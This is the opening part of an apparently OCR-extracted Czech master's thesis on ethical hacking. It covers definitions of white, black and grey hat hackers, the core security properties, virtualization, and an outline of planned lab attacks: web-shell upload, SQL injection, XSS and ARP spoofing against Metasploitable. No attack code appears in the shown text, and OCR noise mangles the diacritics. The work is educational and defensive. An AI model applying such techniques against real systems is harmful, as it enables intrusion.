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Etické hackovani a penetracni testy

Abstrakt

Tato prace se zabyva problematikou etického hackovani, penetracnich testi
a pocitacové bezpecnosti.

Zaklady pocitacové bezpecnosti jsou divérnost, integrita, dostupnost,
nepopiratelnost.

Pro demonstraci byly zvoleny emulator VirtualBox, opera¢ni systém tito¢nika
Kali linux, zranitelny stroj Metasploitable.

Metody hackovani byly rozélenény do 4 kapitol: Network Hacking, Gaining
Access, Post Exploiatation, Website Hacking.
Klicova slova: penetracni testy, ethical hacking, white hacker, hacker, pocitacova

bezpecnost, penetracni testovani



Ethical Hacking and Penetration Testing

Abstract

This master’s thesis covers the topics of ethical hacking, penetration testing
and computer security.

The basics of computer security are confidentiality, integrity, availability,
non-repudiation.

For demonstration were chosen the VirtualBox emulator, the attacking
machine operating system Kali linux, the vulnerable machine Metasploitable.

Hacking methods were divided into 4 chapters: Network Hacking, Gaining

Access, Post Exploiatation, Website Hacking.

Keywords: ethical hacking, penetration testing, white hacker, hacker, computer

security



R T Y 12
2 Cil priace a metodika ..cooviiiiiuiiiiiiiiiiiiiiiiiiiiiiiiiinii s 13
N R O 1 o) 7 1 PP UUPPPRTRSPPPIN 13
2.2 MEtOIKA oovvvneiiieiie e 13

3 Teoretickd vychodisKka ....ccocveiuiuiiiiiiuiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiineneens 14
3.1 Co je hacking? ..o 14
311 WHhite Hab.oouueioiieeeeeie e 14
3.1.2  Black Hat cooovvneiiiii e 15
313 Grey Hab oo 15

3.2 PoCItaCoVA DEZPECTIOST ...ueiiiiiiii e e e 17
3.2.1  DUVEITIOST .eiiiieiiii et et 18
322 INtEGTIbA . ceeiiiiiiiii e 18
3.2.3  DOSEUPINOSE et 18
3.2.4  Nepopiratelnost......cc.viiiiiiii e 18

3.3 VATGUIZACE e 19
3.3. 1 VIrtualBoX .oooeeiiiiiiiccci e 20
3.3.2  VIMIWATE ettt 29
3.3.3  VaAZTaNt. i 29

3.4  Vyuziti Linuxu pro hackovani...........cccooooiiiiiiiiii i 30
3.5 Kall UK ceeiii e 32
3.6 Nat NetWOTK...ooovuiiiiii e 33
3.7  Windows 10 Edge Version..........ccccooviiiiiiiiiiiiiiiiiiiciiiiis e 33
3.8 Metasploitable ... 33
3.9  Metody HackoVANT .......uiiiiiiiiiiiii e 34
3.9.1  Network Hacking .......ccoouuiiiiiiiiiiiiii e 34
3.9.2  GaINING ACCESS. . ieeeiiiiiiiitee et 46
3.9.3  Post EXploitation........ccooooiiiiiiiiiiiiiii e 49
3.9.4  Website Hacking........ccoouuiiiiiiiiiiiiii e 50

VAR VA =TS0 7 0 B 0 - 1o < 54
4.1  Ochrana pred GEOKY ...ooeeeiiiiiei e 54
411  Zabezpeceni sité a Post Connection tok........cccoooeeeiiiiiiiiiiiin. 54



4.1.2 Odhaleni GtOCTIKA ¥ STEl.cn et 54

4.1.3  Obrana proti doruceni zadnich vratek ..........cccooooiiiiiiiiiii. 58
414  Detekce trojskych KOmMl......ccoouuiiiiiiiiiiiiiiiii e 59
4.2  Website hacking — demonstrace............coeeveeeiiiiiiiiiiiinnc e 60
4.2.1 File upload zranitelnosti, code execution zranitelnosti a file inclusion
ZrANIEEINOST «ovvue i 63
4.2.2  Ochrana pfred vySe zminénymi GtOKY.......ccoovrumiiirieiiiiiiiiiiinnnne 68
4.3  Demonstrace SQL Injections.........ccouuuiiiiiiiiiiiiiiiiii e 68
4.3.1 Prohlidka databaze ...........cooooiiiiiiiiiiii 69
4.3.2 SQL Injections v metodé POST......cccoooiiiiiiiiiiiiiiii 72
4.3.3  Obejiti loginu pomoci SQL Injections ..........cceevviiiiiiiiiiiiiiiiiiineene. 73
4.3.4  SQL Injections v metodé GET........ccooooiiiiii 74
435  Cteni informaci o databazi pomoci SQL injection............ccocveven.... 7
4.3.6  Extrahovani citlivych dat z databaze pomoci SQL injection ......... 80
437  Cteni a zapisovani do souboru pomoci SQL injection .................... 82
4.4 Ochrana proti SQL Injections.........ccouuuiiiiiiiiiinieeiiiis e, 85
45 Demonstrace XSS zranitelnosti ...........cceevviiiiiiiiiiiiii 85
4.6 Ochrana pred XSS ... oo it e e e e e 86
5 Vysledky a diSKUSE c.icevuiiuiiiiniiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiecnieasnecenns 87
LG /2 < 88
7 Seznam pouzitych zZdrojll .ccocveiieiiiniiiiiiiiiiiiiiiiiiiiiiiiiiieriininenens 89
& T 100 ) 1 101
8.1 Tvorba jednoduchého e-Shop............ccoouiiiiiiiiiiiiii s 101
8.1.1  Back end ..o 101
8.1.2  Front end........ooiiiiiiiiiiii 108

Seznam obrazku

Obrazek 1: schéma 3 virtualnich stroji uvniti poéitace, zdroj (Sabih, 2018) ........ 19
Obrézek 2: schéma Kali Linux - Hacking Machine, zdroj (Sabih, 2018)................ 20
Obrézek 3: schéma NAT Network, zdroj (Sabih, 2018) .......coociiiviiiiiniiiiiiieee. 33
Obrazek 4: Odpojovani 1, zdroj (Sabih, 2018).....cccvoiiiieiiiiiiiieiiiiee e 35
Obrazek 5: Odpojovani 2, zdroj (Sabih, 2018)......ccoouiiiiiiiiiiieiiieeeeee e 36
Obréazek 6: WEP 1, zdroj (Sabih, 2018) ...ccccvviiiiiiiiiiiiiiiiieeiieceeiee e 37
Obrazek 7: WEP 2, zdroj (Sabih, 2018) ....ccoooiiiiiiiiiiiiiiiiccccee 37
Obrézek 8: WEP 3, zdroj (Sabih, 2018) ....ccceeiiiiiiiiiiiiiiiiieiiiccieceec e 38



Obrazek 9: WEP 4, zdroj (Sabih, 2018) ....ccooiiiiiiiiiiiiiiiiiiiiicccceceee 38
Obrazek 10: WEP 5, zdroj (Sabih, 2018)....cccccuiiiiiiiiiiiiiiiiiiiiieiiiiccceieceee 39
Obrazek 11: schéma man-in-the-middle ttok, zdroj (Sabih, 2018)........cc..cccevunnee. 41
Obrazek 12: schméma ARP spoofing, zdroj (Sabih, 2018) .......cccccovviirniiiiieennnnne. 42
Obrazek 13: ARP schéma 1, zdroj (Sabih, 2018) .....cceeeiiiiiiiiiiniiiiiiiicc 42
Obrazek 14: ARP schéma 2, zdroj (Sabih, 2018) .....cccceeiiiiiiiiiniiiiiciiiiiceee 43
Obrazek 15: schéma ARP- typicka sit, zdroj (Sabih, 2018).....c..ccccceiiniiiiiinnnnne. 43
Obrazek 16 Arp Spoofing — pozadavky, zdroj (Sabih, 2018).......cccccccevviiiiieinnnnne. 44
Obrazek 17: schéma fake access point, zdroj (Sabih, 2018) ........cccccevvniiiiiiinnnnne. 46
Obrazek 18: implicitni nastaveni sité, zdroj (Sabih, 2018)........cccocoiiiiiiiiiiiiinnnn. 49
Obrazek 19: pivoting, zdroj (Sabih, 2018) .....cceviiiiiiiiiiiiiiiicecee 50
Obréazek 20: program Wireshark po spusténi, zdroj vliastni ..............ccccoeiiiil. 55
Obrazek 21: Wireshark preferences, zdroj viastni............cooooiiiiiiiniiiii 56
Obrazek 22: Wireschark protocols, ARP, zdroj vlastni ...........cccooeieiiiiiiiinn. 56
Obrazek 23: Wireshark zaskrtnuti, zdroj viastni .............ccccciiiiiinnnn. 57
Obrazek 24: plugin HTTPS Everywhere pro Chrome, zdroj vlastni...................... 57
Obrazek 25: HT'TPS Everywhere stranka bez HTTPS, zdroj vlastni.................... 58
Obrazek 26: podeziela aplikace, zdroj (Sabih, 2018).........ccccciiiiiiiiiiiiiii, 59
Obréazek 27: varovani o spustitelném souboru, zdroj vliastni..............cccoeeeeiiin. 59
Obrazek 28: Metasploitable — ptikaz ifconfig, zdroj vliastni ..............cccoeeiiiiin. 60
Obrazek 29: Metasploitable — 1s /var/www, zdroj vlastni ..........c.cccccovviinniinnn. 61
Obrazek 30: Kali linux — avodni stranka Metasploitable, zdroj vlastni................. 61
Obrazek 31: Kali linux — prihlasovaci stranka DVWA, zdroj vlastni .................... 62
Obrazek 32: Kali linux — nastaveni DVWA bezpec¢nosti, zdroj vlastni.................. 62

Obrazek 33:
Obrazek 34:
Obrazek 35:
Obrazek 36:
Obrazek 37:
Obrazek 38:
Obrazek 39:
Obrazek 40:
Obrazek 41:
Obrazek 42:
Obrazek 43:
Obrazek 44:
Obrazek 45:
Obrazek 46:

Obrazek 48:
Obrazek 49:

Kali linux — mutollidae ujisténi o Grovni bezpec¢nosti, zdroj vlastni .. 63

Kali linux — DVWA upload, zdroj vlastni ............cccoeeveiiiiiiineeniiinn.... 63
Kali Linux — DVWA tspésné nahrany soubor, zdroj vlastni............. 64
Kali Linux — zobrazeni obrazku, zdroj vlastni..............cccoooeniiiio 64
Kali linux — nastroj weevely, zdroj vlastni...........cccoooeviiiiiiinniio 65
Kali linux — uploadnuti shell.php, zdroj vlastni............cc....coooeiii. 65
Kali linux — zobrazeni shell.php, zdroj vlastni.............cccooeeiiininns 66
Kali linux — pfipojeni pres weevely, zdroj vlastni...........cccooeeeieiinnn.n. 66
Kali linux - kontrola ptfipojeni pres weevely, zdroj vlastni ................ 67
Kali linux - code execution zranitelnost I, zdroj vlastni .................... 67
Kali linux - code execution zranitelnost II, zdroj vlastni ................... 68
Kali linux — pfipojeni k databézi I, zdroj vlastni...........ccccoooeeeno 69
Kali linux — pfipojeni k databézi II, zdroj vlastni..........cccc.o.oeeio. 70
Kali linux — pfipojeni k databézi III, zdroj vlastni ........ccc..o.oceeniniie. 70
Obrazek 47 Kali linux — pfipojeni k databézi IV, zdroj vlastni...........cccccvvvnnnnnnn.. 71
Kali linux — pfipojeni k databéazi V, zdroj vlastni .........ccc.....coeeie 72
SQL Injections — metoda POST I, zdroj vlastni........c.c..oceeevinninnn.n. 72
SQL Injections — metoda POST II, zdroj vlastni......c.....ccoeevinniinnnnnn. 73

Obrazek 50:

10



Obrazek 51:
Obrazek 52:
Obrazek 53:
Obrazek 54:
Obrazek 55:
Obrazek 56:
Obréazek 57:
Obréazek 58:
Obrazek 59:
Obrazek 60:
Obréazek 61:
Obrazek 62:
Obrazek 63:
Obrazek 64:
Obrazek 65:
Obrazek 66:
Obrazek 67:
Obrazek 68:
Obrazek 69:
Obrazek 70:
Obrazek 71:
Obrazek 72:
Obrazek 73:
Obrazek 74:

SQL Injections — metoda POST III, zdroj vlastni ...........ccceeevunennnnnn. 73
SQL Injections — obejiti loginu I, zdroj vlastni..........cccceovveveriininnnn... 74
SQL Injections — obejiti loginu II, zdroj vlastni.............cccoeeieeiiil. 74
SQL Injections — metoda GET I, zdroj vlastni.........ccccoeeeiiiiinniinnnnnn. 75
SQL Injections — metoda GET II, zdroj vlastni........cccccooeeeeiniiiinnnnn. 75
SQL Injections — metoda GET III, zdroj vlastni .............cceeiiniiennnan. 76
SQL Injections — metoda GET IV, zdroj vlastni .............ccoceeieiiiinnin. 76
SQL Injections — metoda GET V, zdroj vlastni........c......ccoooeiiiinnn. 7

SQL Injections — zjistovani poc¢tu sloupcu v tabulce I, zdroj vlastni. 78
SQL Injections — zjistovani poc¢tu sloupcu v tabulce II, zdroj vlastni 78
SQL Injections — zjistovani poctu sloupcu v tabulce III, zdroj vlastni

........................................................................................................... 79
¢teni informaci o databazi pomoci SQL injection I, zdroj vlastni...... 79
¢teni informaci o databazi pomoci SQL injection II, zdroj vlastni..... 80
zjisténi ndzvu tabulek v databazi, zdroj vlastni............ccccooool 81
sloupce v tabulce account, zdroj vlastni .......cc.ccooeeiiiiiiiiinnl 81
vypis uzivatelll, zdroj vlastni.........ccoooeiiiiiiiiii 82
SQL injection — ¢teni ze souboru, zdroj vlastni ........ccccooeeiiiiiiiiiinnnnn. 83
SQI injection — zapis do souboru I, zdroj vlastni.............ccceeeeeeiinnnnn. 83
SQI injection — zapis do souboru II, zdroj vlastni..............ccceeeeeiennnn. 84
Metasploitable — ovéreni zapsaného souboru, zdroj vlastni ............... 84
XSS — reflected XSS, zdroj vlastni.........ccccoeviiiiiiiiniiiiii 85
XSS — stored XSS I, zdroj vIastni........ooeeeeiiiiiiiiiiiniiiiiiiiiie e 86
XSS — stored XSS II, zdroj vIastng .........ccooevviiiiiiiiinieiiiiiiie e 86
e-shop priklad (baeldung, 2020)..........ccciiiiiiieeiiiiiieeiiieee e 110

11



1 Uvod

V teoretické ¢asti bude definovano, co je to hacking. A to jak z pohledu White
Hat, tak Black Hat. Nebude ani opomenuta nejkontroverznéjsi skupina Grey Hat.

Dale se tato prace bude zabyvat pocitacovou bezpec¢nosti, respektive
davérnosti, integritou, dostupnosti a nepopiratelnosti dat.

Dale budou analyzovany rizné nastroje pro virtualizaci. Bude popséno, proc¢
je zrovna linux tak vyznamny pifi hackovani. Bude popsan konkrétné Kali linux.

Hlavni cast teoretické casti bude vénovana metodam hackovani. Tato sekce
bude rozdélena do 4 kapitol.

V kapitole Network hacking bude popsano, jak se muze utocnik dostat do bud
nezabezpecené, ale i ¢astecné zabezpecené sité. Kapitola Gaining Access predstavuje
dalsi krok, kdyz jiz utoc¢nik je v siti a ziskava pristup k systému, ktery je jeho cilem.
A kapitola Post Exploitation obsahuje, co tito¢nik miize napachat, kdyz uz aspésné
zvladne prechozi dva kroky popsané v predchozich kapitolach.
kterymi lze napadnou e-shop, nebo jakoukoli webovou stranku. Cil a postup je
podobny jako v druhé a tfeti kapitole. Hlavni podskupiny téchto ttoku jsou SQL
Injections a XSS (Cross Site Scripting).

V praktické c¢asti budou navrzeny ochrany proti utoktim rozebranych
v kapitolach Network Hacking, Gaining Access a Post Exploitation. Utoky, které

jsou popsany v kapitole Website hacking budou i demonstrovany.
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2 Cil prace a metodika

2.1 Cil prace

Cilem prace je analyzovat metody, které mohou ohrozit pocitacovy systém
internetového obchodu.
Préace bude zamérena, jak na ochranu obchodu, tak jeho zédkazniki.
Diléim vystupem budou relevantni metody, které mohou ohrozovat internetovy
obchod demonstrovany na virtualnim stroji a nédvrh zpiisobu ochrany proti jejich
pouziti.

2.2 Metodika

V teoretické ¢asti budou popsany metody hackovani, jak server side, tak client
side zranitelnosti.
Zvlastni zaméfeni bude vénovano website hackingu (reconnaisance, session-
hijacking, cross-site scripting, SQL injection).
Bude proveden vybér néastroji na hledani zranitelnosti, zpracovana ochrana proti
nejbéznéjsim typim ttokidm, nebo alesponn minimalizace rizik.
Ke zpracovani teoretické ¢asti bude pouzita odborna literatura.
V praktické ¢asti budou demonstrovany nejrelevantnéjsi typy utoka pro e-shop.
Pro ovétreni a demonstraci bude vytvoren virtualni stroj — attacking-machine(kali-
linux), ktery bude napadat druhy virtualni stroj client-machine (Metasploitable —
linux s pfipravenymi zranitelnostmi, Windows 10 with Legacy Microsoft Edge and
Internet Explorer 11, nebo Windows Server 2008 R2 Enterprise Edition x64 (Full
Install) VHDW).
Nic nebude testovano na realném webu, nebot to neumoznuje zékon bez pisemného
souhlasu, byt by 8lo jen o monitorovaci nastroj (40/2009 Sb. Trestni zakonik § 230,
§ 231 § 232).
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3 Teoreticka vychodiska

3.1 Co je hacking?

Hacking je ziskani pristupu k systému, ke kterému nemame mit pristup. Kuptikladu
prihlaseni do cizi emailové schranky je povazovano za hacknuti emailového uctu.
Ziskani vzdaleného pristupu k pocitaci, ke kterému neméme mit pristup je opét
povazovéano za hacknuti pocitace. Prec¢teni dat, které nemame byt schopni precist,
je povazovano za hacking. (Sabih, 2018)

Mize to reprezentovat mnoho véci, ale hlavni zésada je, ze uzivatel je schopen udélat
¢innost, ktera se u néj nepredpoklada.

3.1.1 White Hat

Termin “white hat” v internetovém slangu odkazuje na etického pocitac¢ového
hackera nebo odbornika na pocitacovou bezpec¢nost, ktery se specializuje na
penetra¢ni testy a na dalsi metodiky testovani, které zajistuji bezpec¢nost
informac¢nich systémii organizace. (Rouse, 2018) Etické hackovani je termin, ktery
ma znamenat Sirsi kategorii, nez jsou jen penetracni testy. (Ward, 1996) (Knight,
2009) Opakem jsou black hat, skodlivy hacker, nazev pochézi z westernovych filmu,
kde hrdinsti a antagonisti¢ti kovbojové mohou tradi¢né nosit bily a ¢erny klobouk.
(Wilhelm, a dalsi, c2011) Zatimco hacker white hat hackuje pod dobrym tumyslem a
s povolenim, tak hacker black hat, nejcastéji neautorizovany, ma Skodlivy zamér.
Existuje treti druh znamy jako hacker grey hat ktery hackuje s dobrymi timysly, ale
obcas bez povoleni. (Norton Security, 2018)

Hackefi white hat mohou také pracovat v tymech zvanych "sneakers and/or hacker
clubs" (Secpoint, 2012), red teams, or tiger teams. (Palmer, 2001)

Jednim z prvnich pfipadt, kdy byl pouzit eticky hacking, bylo ,,vyhodnoceni
bezpecnosti provedené letectvem Spojenych stati, ve kterém byly Multics testovany
na ,potencialni pouziti jako dvouuroviiovy (tajny / pfisné tajny) systém.
Vyhodnoceni uré¢ilo, ze zatimco Multics byl vyrazné lepsi nez jiné konvené¢ni systémy,
mél také zranitelnosti v hardwarové bezpecnosti, softwarové bezpec¢nosti a
proceduralni bezpec¢nosti, které by bylo mozné odhalit ,relativné nizkou trovni tsili
(Pau A. Karger, 1974) Autofi provedli testy pod voditkem realismu, takze jejich
vysledky by presné predstavovaly druhy piistupu, které by naruSitel mohl
dosahnout. Provedli testy zahrnujici jednoducha sbér informaci a také primé ttoky
na systém, které by mohly poskodit jeho integritu; oba vysledky byly zajimavé pro
cilové publikum. Existuje nékolik dalsich nezarazenych zprav popisujicich etické
hackerské aktivity v americké armadé.

V roce 1981 New York Times popsal aktivity white hat jako soucast zlo¢inné, ale
zvracené pozitivni hackerské tradice. KdyZz zaméstnanec National CSS odhalil
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existenci svého programu na prolamovani hesel, ktery pouzil na zakaznickych tc¢tech,
spole¢nost ho potrestala ne za napsani softwaru, ale za to, zZe jej dfive nezvefejnil.
Ve varovném dopise bylo uvedeno: ,Spole¢nost si uvédomuje piinos pro NCSS a ve
skutecnosti podporuje tsili zaméstnancii o identifikaci slabych mist zabezpeceni.®
(McLellan, 1981)

Myslenku prenést tuto taktiku etického hackovéani k zjisténi bezpecnosti systémiu
formulovali Dan Farmer a Wietse Venema. Cilem zvysit celkovou troven bezpec¢nosti
na internetu a intranetu pokracovali v popisu toho, jak byli schopni shromazdit
dostatek informaci o svych cilech, aby byli schopni ohrozit bezpe¢nost, pokud se tak
rozhodli. Poskytli nékolik konkrétnich ptikladi, jak lze tyto informace shromézdit a
vyuzit k ziskani kontroly nad cilem a jak lze takovému tutoku zabréanit. Shromazdili
vSechny nastroje, které béhem své prace pouzili, zabalili je do jediné snadno
pouzitelné aplikace a rozdali ji kazdému, kdo se rozhodl ji stAhnout. Jejich program
s ndzvem Security Administrator Tool for Analysis Networks neboli SATAN se v
roce 1992 setkal s velkou pozornosti médii po celém svété. (Palmer, 2001)

3.1.2 Black Hat

Black Hat hacker je hacker, ktery porusSuje zabezpeceni pocitace kviili osobnimu
zisku nebo skodlivosti.

Pivod terminu je ¢asto pripisovan teoretikovi hackerské kultury Richard Stallman
(ac¢koli to popira) (Laskov, 2017), aby kontrastoval s vykofistovatelskym hackerem
s White Hat hackerem, ktery hackuje pro ochranu, aby upozornil na zranitelnosti v
pocitacovych systémech, které vyzaduji opravu. (O'Brien, a dalsi, 2011 stranky 536-
537) Terminologie Black Hat / White Hat pochazi z westernového zanru popularni
americké kultury, ve kterém cerné a bilé klobouky oznacuji darebného a hrdinského
kovboje. (Wilhelm, a dalsi, c2011 stranky 26-27)

Black Hat hackefi jsou stereotypni nelegalni hackerské skupiny, které jsou casto
vykreslovany v popularni kultufe, a jsou ,,ztélesnénim vseho, ¢eho se verejnost obava
v souvislosti s po¢itacovym zlo¢inem®. (Moore, 2005) Black Hat hackefi vniknou do
zabezpeCenych siti, aby znicili, upravili nebo ukradli data nebo ucinili sité
nepouzitelné pro opravnéné uzivatele sité. (Iyer, 2017)

3.1.3 Grey Hat

Grey Hat hacker je pocitacovy hacker nebo odbornik na pocitac¢ovou bezpecnost,
ktery nékdy porusuje zakony nebo typické etické standardy, ale neméa timysl skodit,
coz je typické pro Black Hat hackery.

Termin zacal byt pouzivan v pozdnich devadesatych létech, odvozeny z pojmii
White Hat a Black Hat hackeri. (De, 2002) Kdyz White Hat hacker zjisti
zranitelnost, zneuzije ji pouze se svolenim a jeji existenci prozradi, dokud nebude
opravena, zatimco Black Hat hacker ji nelegalné zneuzije a/nebo fekne ostatnim, jak
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to ma udélat. Grey Hat hacker ji nelegalné nevyuzije ani ostatnim nefekne, jak to
udélat. (Regalado, et al., 2015 p. 18)

Dalsi rozdil mezi témito typy hackert spoc¢iva v metodach odhalovani zranitelnych
mist. White Hat hacker se na Zzadost svého zaméstnavatele nebo s vyslovnym
svolenim pronikd do systému a siti za tcelem urceni, jak je zabezpeCen proti
hackertim, zatimco Black Hat hacker vnikne do jakéhokoli systému nebo sité, aby
odhalil citlivé informace a pro osobni ucely a zisk. Grey Hat hacker mé obvykle
dovednosti a zaméry White Hat hackera, ale bez povoleni vnikne do jakéhokoli
systému nebo sité. (Fuller, et al., 2003) (Cliff, 2015)

Podle jedné definice Grey Hat hacker, kdyz zjisti zranitelnost, miize misto toho, aby
fekli prodejci, jak exploit funguje, nabidnout opravu za maly poplatek. Kdyz ¢lovék
uspésné ziskd nelegalni pristup do systému nebo sité, mutze navrhnout spravci
systému, aby byl najat jeden z jejich pratel, aby problém vytesil; tato praxe je vSak
na ustupu z duvodu rostouci ochoty podniki toto stihat. Dalsi definice Grey Hat
hackera tvrdi, ze Grey Hat hackefi porusuji zakon jen ve snaze zkoumat a zlepSovat
bezpecnost: zdkon je nastaven podle konkrétnich diisledk jakychkoli hackt, kterych
se ucastni. (Moore, 2010)

V komunité optimalizace pro vyhledavace (SEO) jsou Grey Hat hacketi ti, kdo
manipuluji s zebricky vyhledava¢i webovych strdnek pomoci nevhodnych nebo
neetickych prostiedki, ale nejsou povazovani za spam vyhledavace. (E, 2014)
Pojem Grey Hat hacker byl poprvé vefejné pouzivin v kontextu pocitacové
bezpec¢nosti, kdyz DEF CON ohlasil prvni planované brnénské Black Hat Briefings
v roce 1996, i kdyz pred timto ¢asem mohly byt pouzivany mensimi skupinami. (De,
2002) (CON, 1996) Kromé toho byla na této konferenci prednesena prezentace, na
niz Mudge, klicovy ¢len hackerské skupiny LOpht, diskutoval o svém zaméru Grey
Hat hackert poskytnout spole¢nosti Microsoft objevené zranitelnosti s cilem chranit
obrovské mnozstvi uzivateli jejich opera¢niho systému. (Lange, 1997) A nakonec
Mike Nash, reditel skupiny serveru spole¢nosti Microsoft, uvedl, ze Grey Hat hackefi
jsou podobné jako technici v nezévislém softwarovém prumyslu v tom, Ze ,jsou cenni,
kdyZz nam poskytuji zpétnou vazbu, abychom zlepgili nase produkty“. (Lange, 1997)
Pojem Grey Hat hacker pouzila skupina hackert LOpht v rozhovoru s The New York
Times (Gottlieb, 1999) v roce 1999 k popisu svych hackerskych aktivit.

Tento termin byl pouzit k popisu hackerti, ktefi podporuji etické hlaseni zranitelnosti
primo u dodavatele softwaru, na rozdil od postupi uplného odhaleni informaci, které
byly v komunité White Hat hackert rozsifené a teké zranitelnost nebyla zvetrejnéna
mimo jejich skupinu. (Regalado, et al., 2015 p. 18)

V roce 2002 vsak komunita Anti-Sec zvefejnila pouziti tohoto terminu pro oznaceni
lidi, ktefi ve dne pracuji v bezpecnostnim primyslu, ale v noci se zabyvaji ¢innostmi
v oblasti Black Hat hackerti. (Digitalsec, 2002) Ironii bylo, Ze u Black Hat hackert
byla tato interpretace chapana jako hanlivy termin; zatimco mezi White Hat hackery
to byl termin, ktery propijcil smysl pro popularni poveést.
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Po vzestupu a pripadném poklesu tplného odhaleni versus anti-sec "zlata éra" - a
nasledny rust filozofie "etického hackovéani" - zac¢al pojem Grey HAt hacker nabirat
nejriznéjsi vyznamy. Trestni stthani Dmitrije Sklyarova v USA za zakonné ¢innosti
v jeho domovské zemi zménilo postoje mnoha vyzkumnych pracovnikid v oblasti
bezpec¢nosti. Jak internet byl pouzivan pro vice kritické funkce a obavy z terorismu
rostly, termin “White Hat hacker” zacal se odkazovat na odborniky podnikové
bezpecnosti, ktefi nepodporovali iplné odhaleni. (Lemos, 2002)

V roce 2008 EFF definoval Grey Hat hackery jako vyzkumniky v oblasti etické
bezpecnosti, kteri neimyslné nebo pravdépodobné porusuji zakon ve snaze zkoumat
a zvySovat bezpe¢nost. Obhajuji zdkony o pocitacovych pfestupcich, které jsou
jasnéjsi a uzsi. (Foundation, 2008)

3.1.3.1 Priklady Grey Hat Hackertu

V dubnu 2000 ziskali hackefi znami jako ,{}* a ,Hardbeat* neopravnény pfistup k
Apache.org. (Finley, 2013) Vybrali si upozornit zaméstnance Apache na problém
pred pokusem poskodit servery Apache.org. (Cruciphux, 1999)

V ¢ervnu 2010 odhalila skupina pocitacovych odborniki znamych jako Goatse
Security chybu v zabezpeceni AT&T, kterd umoznila odhaleni e-mailovych adres
uzivateli iPadu. (Ante, et al., 2010) Skupina odhalila bezpeénostni chybu v médiich
brzy po ozndmeni AT&T. Od té doby FBI zah4jila vySetfovani incidentu a provedla
razii v domé Weev, nejvyznamnéjsiho ¢lena této nové skupiny. (Tate, 2010)

V dubnu 2011 skupina odbornikt zjistila, ze Apple iPhone a 3G iPad loguji, kde se
uzivatel nachazi. Apple vydal prohlaSeni, které ftikalo, ze iPad a iPhone jen
zaznamenavaji vysilace, ke kterym mohl telefon se miZe pfipojit. (Harrison, et al.,
2011) K této zalezitosti bylo vyddno mnoho ¢lanki a byla vnimana jako mensi
bezpec¢nostni problém. Tento pripad by byl klasifikovan jako Grey Hat, protoze
ackoli experti to mohli zneuzit, problém byl presto ohlagen. (hackfile, 2011)

V srpnu 2013 Khalil Shreateh, nezaméstnany vyzkumny pracovnik v oblasti
pocitacové bezpecnosti, hacknul stranku Facebooku Marka Zuckerberga, aby donutil
k napravé chyby, kterou objevil, coz mu umoznilo zverejnit prispévek na jakoukoli
stranku uzivatele bez jejich souhlasu. Pokusil se opakované informovat Facebook o
této chybé. Facebook odpovédél jen, Ze se nejednd o chybu. Po této udalosti
Facebook opravil tuto zranitelnost, kterd mohla byt v rukou profesionalnich
spammert silnou zbrani. Shreateh nebyl kompenzovan programem White Hat na
Facebooku, protoze porusil jejich politiku, coz z toho ucinilo incident Grey Hat.
(Gross, 2013)

3.2 Pocitacova bezpecnost

Pocitacova bezpecnost zavisi na téchto aspektech:
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e Duvérnost
e Integrita
e Dostupnost (Sinha, 2018)

3.2.1 Dudvérnost

V oblasti bezpecnosti informaci duvérnost je vlastnictvi, Ze informace nejsou
dostupné nebo prozrazeny neopravnénym jednotlivciim, subjektiim nebo procestim.*
(Beckers, 2015 str. 100) Pfestoze jsou podobna ,soukromi, obé& slova nejsou
zameénitelna. SpiSe je diuvérnost soucasti soukromi, kterd implementuje ochranu
naSich dat pfed neopravnénymi osobami nebo subjekty. Mezi piiklady divérnosti
ohrozenych elektronickych dat patii kradez notebooku, prozrazeni hesla nebo citlivé
e-maily zasilané nespravnym osobam. (Andress, 2014)

3.2.2 Integrita

V bezpecnosti informaci znamend integrita dat udrzovani a zajistovani presnosti a
uplnosti dat po celou dobu jejich Zivotnosti. (Boritz, 2005) To znamena, ze data
nemohou byt upravena neopravnénym nebo nezjisténym zptisobem. Toto neni totéz
jako referen¢ni integrita v databazich, ackoli to lze povazovat za zvlastni piipad
konzistence, jak je chapan v klasickém ACID modelu zpracovani transakci. Systémy
zabezpeceni informaci obvykle poskytuji integritu zprav soucasné s duvérnosti.

3.2.3 Dostupnost

Aby jakykoli informac¢ni systém slouzil svému tucelu, musi byt tyto informace
dostupné v pripadé potieby. To znamena, ze vypocetni systémy pouzivané k
ukladani a zpracovani informaci, bezpecnostni ovladaci prvky pouzité k jejich
ochrané a komunikac¢ni kanaly pouzivané k jejich pristupu musi spravné fungovat.
Ucelem systémt s vysokou dostupnosti je ztistat k dispozici po celou dobu, coz
zabranuje preruseni sluzeb v dusledku vypadku napéjeni, selhani hardwaru a
upgradu systému. Zajisténi dostupnosti také zahrnuje predchézeni utoktim typu
odmitnuti sluzby, jako je napiiklad zaplava prichozich zprav systému, ktery se stal
ter¢em utoku, v podstaté nuti jej vypnout. (Loukas, a dalsi, 2010)

3.2.4 Nepopiratelnost

Nepopiratelnost je ujisténi, ze nékdo nemiize poptit platnost néé¢eho. Nepopiratelnost
je pravni pojem, ktery se Siroce pouziva v oblasti bezpec¢nosti informaci a tykéa se
sluzby, ktera poskytuje dikaz o puvodu dat a integrité dat. Jinymi slovy,
neodmitnuti velmi ztézuje tispésné odmitnuti toho, od koho / odkud zprava pochézi,
stejné jako autenti¢nost a integritu této zpravy. (Cryptomathic, 2020)
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Digitalni podpisy (v kombinaci s jinymi opatfenimi) mohou nabidnout
nepopiratelnost, pokud jde o online transakce, kde je zésadni zajistit, aby strana
smlouvy nebo sdéleni nemohla popfit autenti¢nost svého podpisu na dokumentu
nebo odeslani komunikace na prvnim misté. V této souvislosti neodepteni znamena
schopnost zajistit, aby smluvni strana nebo sdéleni musely pfijmout autenti¢nost
svého podpisu na dokumentu nebo odeslani zpravy. (Cryptomathic, 2020)

3.3 Virtulizace

Technologie virtualnich stroje umoznuje bézet vice opera¢nich systémi na jednom
hardwaru. Toto znamena, Ze uzivatel mize pokracovat v pouzivani operacni
systému, na ktery je zvykly a zaroven muze pouzivat naptiklad Kali linux.
Nepotiebuje prepsat sviij existujici opera¢ni systém, aby mohl vyuzivat Linux.
(Occupytheweb, 2018)

Zaid Sabih nedoporucuje instalovat hackovaci néstroje na svij hlavni operac¢ni
systém, ani napadat svij hostujici stroj. Virtualni stroje se daleko snadnéji a rychleji
opravuji. Preinstalace je rychlejsi. Dale je uzitecné vytvaret takzvané snapshoty.
(Sabih, 2018)

= -

s

Z
e ]
Z

S =

NI

Host Machine

Obrazek 1: schéma 3 virtudlnich stroji uvniti pocitace, zdroj (Sabih, 2018)
